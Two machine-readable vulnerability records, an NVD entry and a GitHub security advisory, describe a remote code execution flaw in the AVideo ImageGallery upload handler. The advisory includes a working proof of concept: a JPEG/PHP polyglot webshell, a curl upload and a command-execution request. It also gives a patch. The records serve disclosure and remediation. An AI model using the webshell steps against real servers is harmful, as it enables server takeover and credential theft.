{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:wwbn:avideo:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "774C24F1-9D26-484F-B931-1DA107C8F588",
              "versionEndIncluding": "26.0",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "WWBN AVideo is an open source video platform. In versions up to and including 26.0, the `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution. Commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contains a patch."
    },
    {
      "lang": "es",
      "value": "WWBN AVideo es una plataforma de video de c\u00f3digo abierto. En versiones hasta la 26.0 inclusive, el m\u00e9todo \u0027ImageGallery::saveFile()\u0027 valida el contenido de los archivos subidos usando la detecci\u00f3n de tipo MIME \u0027finfo\u0027 pero deriva la extensi\u00f3n del nombre de archivo guardado del nombre de archivo original proporcionado por el usuario sin una verificaci\u00f3n de lista de permitidos. Un atacante puede subir un archivo pol\u00edglota (bytes m\u00e1gicos JPEG v\u00e1lidos seguidos de c\u00f3digo PHP) con una extensi\u00f3n \u0027.php\u0027. La verificaci\u00f3n MIME pasa, pero el archivo se guarda como un archivo \u0027.php\u0027 ejecutable en un directorio accesible por web, logrando Ejecuci\u00f3n Remota de C\u00f3digo. El commit 345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae contiene un parche."
    }
  ],
  "id": "CVE-2026-33647",
  "lastModified": "2026-03-25T17:54:10.537",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "HIGH",
          "baseScore": 8.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 2.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2026-03-23T19:16:40.750",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Patch"
      ],
      "url": "https://github.com/WWBN/AVideo/commit/345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjw-phj6-g75w"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-434"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "26.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33647"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-434"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-25T17:45:40Z",
    "nvd_published_at": "2026-03-23T19:16:40Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `ImageGallery::saveFile()` method validates uploaded file content using `finfo` MIME type detection but derives the saved filename extension from the user-supplied original filename without an allowlist check. An attacker can upload a polyglot file (valid JPEG magic bytes followed by PHP code) with a `.php` extension. The MIME check passes, but the file is saved as an executable `.php` file in a web-accessible directory, achieving Remote Code Execution.\n\n## Details\n\nThe vulnerability exists in `plugin/ImageGallery/ImageGallery.php` in the `saveFile()` method:\n\n```php\n// plugin/ImageGallery/ImageGallery.php:80-108\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = [\u0027image/jpeg\u0027, \u0027image/webp\u0027, \u0027image/gif\u0027, \u0027image/png\u0027, \u0027video/mp4\u0027];\n    $directory = self::getImageDir($videos_id);\n\n    // MIME check on file CONTENT \u2014 bypassable with polyglot\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file[\u0027tmp_name\u0027]);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        // Extension from attacker-controlled filename \u2014 NO allowlist\n        $extension = strtolower(pathinfo($file[\u0027name\u0027], PATHINFO_EXTENSION));\n        do {\n            $newFilename = uniqid() . \u0027.\u0027 . $extension;\n            $newFilePath = $directory . $newFilename;\n        } while (file_exists($newFilePath));\n\n        move_uploaded_file($file[\u0027tmp_name\u0027], $newFilePath);\n        // ...\n    }\n}\n```\n\n**Root cause:** Line 93 extracts the extension from the user-supplied `$file[\u0027name\u0027]` and uses it directly in the saved filename. There is no check against an allowlist of safe extensions (e.g., `jpg`, `png`, `gif`, `webp`, `mp4`).\n\n**Why the MIME check is insufficient:** PHP\u0027s `finfo` with `FILEINFO_MIME_TYPE` inspects file content magic bytes. A file starting with JPEG magic bytes (`\\xff\\xd8\\xff\\xe0`) is identified as `image/jpeg` regardless of trailing content. Appending PHP code after the JPEG header creates a polyglot that passes the MIME check but executes as PHP when requested via the web server.\n\n**Why no server-level protection exists:** The root `.htaccess` at line 73 blocks dangerous extensions but uses the pattern `php[a-z0-9]+` \u2014 which matches `.php5`, `.phtml`, `.phar`, etc., but intentionally does **not** match plain `.php` (since the application itself requires PHP execution). There is no `.htaccess` in the `videos/` directory to disable PHP execution in the upload target.\n\n**Upload path:** Files are saved to `videos/{videoFilename}/ImageGallery/{uniqid}.php` \u2014 directly accessible via the web server.\n\nThe upload endpoint at `plugin/ImageGallery/upload.json.php` requires:\n1. The ImageGallery plugin to be enabled (line 6-8)\n2. An authenticated user (line 10-12)\n3. The user must have manage permission on the video (line 18-20) \u2014 video owner or admin\n\nThe response at line 27 calls `listFiles()` which returns the full URL of each uploaded file, giving the attacker the exact path to their webshell.\n\n## PoC\n\n**Prerequisites:** Authenticated AVideo user account that owns at least one Image or Gallery type video.\n\n**Step 1: Create a polyglot PHP/JPEG file**\n```bash\nprintf \u0027\\xff\\xd8\\xff\\xe0\\x00\\x10JFIF\u0027 \u003e shell.php\necho \u0027\u003c?php if(isset($_GET[\"c\"])){system($_GET[\"c\"]);} ?\u003e\u0027 \u003e\u003e shell.php\n```\n\n**Step 2: Verify it passes finfo detection**\n```bash\nfile --mime-type shell.php\n# Expected output: shell.php: image/jpeg\n```\n\n**Step 3: Upload via ImageGallery endpoint**\n```bash\ncurl -b \u0027PHPSESSID=\u003csession_cookie\u003e\u0027 \\\n  -F \"upl=@shell.php;filename=shell.php\" \\\n  \u0027https://target/plugin/ImageGallery/upload.json.php?videos_id=\u003cVIDEO_ID\u003e\u0027\n```\n\n**Expected response:**\n```json\n{\n  \"videos_id\": \"123\",\n  \"saveFile\": true,\n  \"error\": false,\n  \"list\": [\n    {\n      \"base\": \"67890abcdef12.php\",\n      \"type\": \"image/jpeg\",\n      \"url\": \"https://target/videos/video_filename/ImageGallery/67890abcdef12.php\"\n    }\n  ]\n}\n```\n\n**Step 4: Execute the webshell**\n```bash\ncurl \u0027https://target/videos/video_filename/ImageGallery/67890abcdef12.php?c=id\u0027\n# Expected output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n## Impact\n\nAn authenticated user with edit permission on any Image/Gallery video can achieve **Remote Code Execution** as the web server user. This allows:\n\n- Reading sensitive configuration files (database credentials in `videos/configuration.php`)\n- Full database access via the database credentials\n- Reading/modifying/deleting any file accessible to the web server process\n- Lateral movement within the server\u0027s network\n- Potential privilege escalation depending on server configuration\n\nAny AVideo instance with the ImageGallery plugin enabled and user registration open is vulnerable. Since regular (non-admin) users can exploit this against their own videos, the barrier to exploitation is low.\n\n## Recommended Fix\n\nAdd an extension allowlist check in `saveFile()` immediately after extracting the extension. The extension should be validated against the same set of types as the MIME allowlist:\n\n```php\n// plugin/ImageGallery/ImageGallery.php \u2014 in saveFile(), after line 93\nstatic function saveFile($file, $videos_id)\n{\n    $allowedMimeTypes = [\u0027image/jpeg\u0027, \u0027image/webp\u0027, \u0027image/gif\u0027, \u0027image/png\u0027, \u0027video/mp4\u0027];\n+   $allowedExtensions = [\u0027jpg\u0027, \u0027jpeg\u0027, \u0027webp\u0027, \u0027gif\u0027, \u0027png\u0027, \u0027mp4\u0027];\n\n    $directory = self::getImageDir($videos_id);\n\n    $finfo = new finfo(FILEINFO_MIME_TYPE);\n    $fileType = $finfo-\u003efile($file[\u0027tmp_name\u0027]);\n\n    if (in_array($fileType, $allowedMimeTypes)) {\n        $extension = strtolower(pathinfo($file[\u0027name\u0027], PATHINFO_EXTENSION));\n+       if (!in_array($extension, $allowedExtensions)) {\n+           return false;\n+       }\n        do {\n            $newFilename = uniqid() . \u0027.\u0027 . $extension;\n```\n\nAdditionally, as defense-in-depth, add a `.htaccess` file to the `videos/` directory to disable PHP execution:\n\n```apache\n# videos/.htaccess\nphp_flag engine off\n\u003cFilesMatch \"\\.php$\"\u003e\n    Require all denied\n\u003c/FilesMatch\u003e\n```",
  "id": "GHSA-wxjw-phj6-g75w",
  "modified": "2026-03-25T17:45:40Z",
  "published": "2026-03-25T17:45:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-wxjw-phj6-g75w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33647"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/345a8d3ece0ad1e1b71a704c1579cbf885d8f3ae"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "AVideo Vulnerable to Remote Code Execution via MIME/Extension Mismatch in ImageGallery File Upload"
}